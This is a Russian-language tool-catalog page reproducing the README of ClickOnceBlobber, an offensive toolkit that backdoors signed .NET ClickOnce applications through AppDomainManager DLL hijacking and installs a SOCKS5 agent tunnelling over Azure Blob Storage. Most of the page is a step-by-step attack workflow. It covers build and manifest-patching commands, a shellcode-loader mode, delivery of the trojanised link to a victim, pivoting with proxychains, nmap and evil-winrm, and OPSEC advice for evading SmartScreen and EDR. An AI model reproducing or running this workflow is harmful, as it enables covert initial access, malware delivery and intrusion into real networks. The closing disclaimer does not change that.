Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ClickOnceBlobber — Используйте подписанные приложения .NET ClickOnce для первоначального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки порта C# агента ProxyBlob. | Kitploit
Инструменты/GitHubGitHub/dazzyddos/clickonceblobber
Командование и УправлениеСоциальная инженерияRed TeamingРазработка Полезной Нагрузки
GitHubdazzyddos/clickonceblobber

ClickOnceBlobber

Используйте подписанные приложения .NET ClickOnce для первоначального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки порта C# агента ProxyBlob.

Репозиторий
1682226 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ClickOnce AppDomainManager Injection Toolkit

Вооружаем подписанные .NET ClickOnce приложения для начального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки C#-порта агента ProxyBlob. В комплекте идет порт на C# ProxyBlob — SOCKS5-прокси, который туннелирует весь трафик через Azure Blob Storage, маскируясь в средах, где *.blob.core.windows.net внесен в белый список.

Почему это работает

ClickOnce — это технология развертывания Microsoft для .NET-приложений одним щелчком мыши. Когда пользователь переходит по URL .application, Windows загружает и запускает приложение без прав администратора. Атака:

  1. Берется легитимное, подписанное ClickOnce-приложение с существующей репутацией
  2. Заменяется одна из его зависимых DLL на SOCKS5-агент ProxyBlob
  3. Внедряется .exe.config, который сообщает CLR, что нашу DLL нужно загрузить как AppDomainManager
  4. Исправляются хэши манифеста, чтобы они соответствовали новым файлам
  5. Размещается — жертва кликает по ссылке, видит приложение, похожее на настоящее, и открывается SOCKS5-туннель

Хост-файл .exe остается нетронутым и валидно подписанным. SmartScreen видит известный бинарник. EDR видит доверенный процесс, загружающий модули. Ваш агент общается только с Azure Blob Storage по HTTPS.

Структура репозитория

root@kitploit:~
├── clickonce_backdoor.py              # Основной скрипт для бэкдоринга DLL агента ProxyBlob в ClickOnce-приложение
├── examples/
│   ├── ProxyBlobAgent.cs              # DLL-полезная нагрузка агента ProxyBlob для ClickOnce (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # Автономный консольный агент ProxyBlob (для тестирования)
│   ├── ShellcodeLoader.cs             # Альтернатива: загрузчик шелл-кода
│   └── MessageBoxPoC.cs               # PoC: сообщение (проверяет работу внедрения)
└── README.md

Предварительные требования

Атакующий (Linux/macOS):

  • Python 3.10+
  • Proxy-сервер ProxyBlob (Go-бинарник)
  • Учетная запись Azure Storage (или Azurite для локального тестирования)

Сборочная машина (Windows):

  • .NET Framework csc.exe — находится в C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (обнаруживается автоматически)
  • NuGet CLI — скачать, поместить nuget.exe рядом со скриптом или добавить в PATH (требуется только для режима --proxyblob)

Скрипт автоматически находит csc.exe и nuget.exe. Для --proxyblob BouncyCastle и ILMerge автоматически устанавливаются через NuGet при первом запуске в каталог packages/ рядом со скриптом (сохраняется между запусками).

Поддержка архитектуры

Код агента архитектурно-нейтрален (нет P/Invoke, нет шелл-кода). Флаг --platform (передается в csc.exe /platform:) управляет тем, как CLR его загружает:

Проверьте целевое приложение с помощью corflags.exe TargetApp.exe, чтобы определить его платформу.


Использование: пошаговое руководство

Шаг 1 — Настройка Azure Storage

root@kitploit:~
# Создание учетной записи хранения
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# Получение ключей
az storage account keys list --account-name yourblobaccount --output table

Или используйте Azurite локально:

root@kitploit:~
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

Шаг 2 — Запуск Proxy-сервера ProxyBlob

root@kitploit:~
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

В оболочке прокси:

root@kitploit:~
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Сохраните эту строку подключения — она понадобится агенту.

Шаг 3 — Сначала протестируйте с автономным агентом

Всегда проверяйте, что агент работает независимо, прежде чем интегрировать его в ClickOnce.

На сборочной машине Windows:

root@kitploit:~
# Компиляция
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# ILMerge в один exe (чтобы BouncyCastle был встроен)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# Запуск
Agent.exe <connection-string>

На стороне прокси:

root@kitploit:~
proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080

Проверка:

root@kitploit:~
proxychains curl http://ipconfig.io

Если это сработало, переходите к интеграции с ClickOnce.

Шаг 4 — Найдите целевое ClickOnce-приложение

Найдите целевое ClickOnce-приложение во время разведки (ищите URL с .application). Вам нужно:

Загрузите все развертывание ClickOnce:

root@kitploit:~
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Шаг 5 — Сборка и исправление одной командой

Скрипт автоматически компилирует C#-исходник, обрабатывает зависимости NuGet (для --proxyblob), выполняет ILMerge BouncyCastle в DLL и исправляет все манифесты — все за один запуск:

root@kitploit:~
# Режим ProxyBlob — автоматическая компиляция, установка NuGet-пакетов, слияние
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# Режим PoC — быстрая проверка работы внедрения
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# Режим шелл-кода
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# Целевое приложение x64
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

Скрипт обрабатывает: генерацию C#-исходника с вашими настройками, компиляцию через csc.exe, ILMerge BouncyCastle (для --proxyblob), замену DLL, создание .exe.config с внедрением AppDomainManager, добавление обоих файлов в манифесты, пересчет всех SHA256-хэшей и размеров файлов, удаление подписей кода, обнуление publicKeyToken поставщика и обновление URL поставщика развертывания.

Ручной режим: Вы все еще можете использовать --payload, чтобы указать предварительно скомпилированную DLL (пропускает компиляцию):

root@kitploit:~
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --payload payload.dll \
    --output ./output

⚠️ Проблема с именем сборки ILMerge: ILMerge устанавливает внутреннее имя сборки из имени выходного файла, а не входного. Если вы объединяете в Foo_merged.dll, а затем переименовываете файл в Foo.dll, внутреннее имя все равно будет Foo_merged — CLR читает метаданные, а не имя файла. .exe.config не совпадет, и внедрение AppDomainManager молча завершится неудачей без ошибки. Скрипт правильно обрабатывает это, выполняя ILMerge непосредственно в конечное имя.

Шаг 6 — Размещение и доставка

root@kitploit:~
# Встроенный сервер с правильными MIME-типами и заголовками кэша
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

Или используйте любой веб-сервер с настроенными MIME-типами:

root@kitploit:~
.application  → application/x-ms-application
.manifest     → application/x-ms-manifest
.deploy       → application/octet-stream

Отправьте жертве: http://YOUR-SERVER/APPLICATION.application

Она нажимает «Установить» → приложение запускается → открывается ваш SOCKS5-туннель.

Шаг 7 — Использование туннеля

root@kitploit:~
# На машине с прокси
proxyblob » list
proxyblob » select <container-id>
proxyblob » start

# SOCKS5 на 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local


Устранение неполадок

Компиляция

Время выполнения

Кэш ClickOnce

Очищайте между тестовыми развертываниями:

root@kitploit:~
rundll32 dfshim CleanOnlineAppCache

Режим диагностики

Для отладки сначала используйте ProxyBlobStandalone.cs — он выводит подробные журналы в stderr, показывая типы пакетов, события подключения и ошибки. После подтверждения работоспособности переключитесь на ProxyBlobAgent.cs для интеграции с ClickOnce.


Как работает C#-агент

Агент — точный порт Go-агента ProxyBlob. Во время портирования были обнаружены и исправлены три критических бага:

1. Порядок байт UUID — Go uuid.UUID хранит 16 байт в порядке RFC 4122 (big-endian). Конструктор .NET Guid меняет первые 3 компонента на little-endian, вызывая несовпадение ConnectionID на проводе. Исправлено использованием сырых массивов byte[16].

2. XChaCha20-Poly1305 — Go использует chacha20poly1305.NewX() = XChaCha20 с 24-байтовыми nonce. ChaCha20Poly1305 от BouncyCastle поддерживает только 12-байтовые nonce IETF. Исправлено реализацией вывода подключа HChaCha20:

root@kitploit:~
subkey     = HChaCha20(key, nonce[0:16])     // ChaCha20 quarter-rounds на key+nonce
ietf_nonce = 0x00000000 || nonce[16:24]      // Оставшиеся 8 байт становятся nonce IETF
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)

3. Заполнение Base64 — Go использует base64.RawStdEncoding (без заполнения =). .NET требует заполнения. Исправлено автоматическим дополнением перед декодированием.

Протокол

root@kitploit:~
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)

Key Exchange:
  Proxy  → Agent: CmdNew  [nonce:24][pubkey:32]
  Agent  → Proxy: CmdAck  [agentPubkey:32]
  Symmetric key:  HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
  Encryption:     XChaCha20-Poly1305 on all CmdData payloads

Blob Transport:
  info     — username@hostname XOR 0xDEADB10B
  request  — proxy→agent (agent polls, reads, clears)
  response — agent→proxy (agent writes, proxy reads, clears)
  Polling: exponential backoff 50ms → 3s (×1.5)

Замечания по OPSEC

  • Трафик идет только к *.blob.core.windows.net через HTTPS — смешивается с легитимным трафиком Azure
  • Без Azure SDK — сырой HTTP REST API с аутентификацией по SAS-токену (меньший бинарник, меньше импортов для обнаружения)
  • Единая DLL через ILMerge — рядом с приложением не падает дополнительных файлов
  • Хост-файл .exe остается валидно подписанным — изменяются только зависимая DLL и .config
  • Агент работает как поток переднего плана — переживает завершение основного приложения, не порождая новый процесс
  • В диспетчере задач отображается как имя легитимного приложения (например, APPLICATION)

Благодарности

  • Claude.ai
  • ProxyBlob — Quarkslab (Alexandre Nesic)
  • ClickOnce Research — SpecterOps (Nick Powers & Steven Flores)

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и исследований. Используйте только против систем, на тестирование которых у вас есть явное письменное разрешение.

Скачать инструмент
--platformРаботает на x86 WindowsРаботает на x64 WindowsКогда использовать
x86 (по умолчанию)32-бит32-бит (WoW64)Целевое приложение x86
x64✗64-битЦелевое приложение x64
anycpu32-бит64-битАвтономное тестирование или целевое приложение AnyCPU
ОшибкаРешение
csc.exe not foundУстановите .NET Framework 4.x или добавьте csc.exe в PATH
nuget.exe not foundСкачайте с nuget.org, поместите рядом со скриптом или добавьте в PATH
CS0012: type 'Object' ... netstandardДобавьте /r:netstandard.dll в команду csc
Metadata file ... net461 ... not foundИспользуйте путь BouncyCastle для netstandard2.0
СимптомПричинаРешение
FileNotFoundException: BouncyCastle.CryptographyDLL не встроенаИспользуйте ILMerge для создания единой DLL
AppDomainManager не загружается после запуска ClickOnceНесоответствие внутреннего имени сборкиИмя сборки должно совпадать с .exe.config. Проверьте с помощью `ildasm /text Dll.dll
Агент завершается с кодом 3Неверная или просроченная строка подключенияСгенерируйте новую с помощью create в прокси
Установка ClickOnce молча завершается неудачейНесовпадение хэша манифестаПерезапустите скрипт автоматизации или пересчитайте SHA256-хэши вручную
Ошибка RefDefValidation при установкеОбнулен токен строгого имени сторонней DLLСкрипт обнуляет только токен поставщика. При необходимости используйте --dll-name для задания имени полезной нагрузки DLL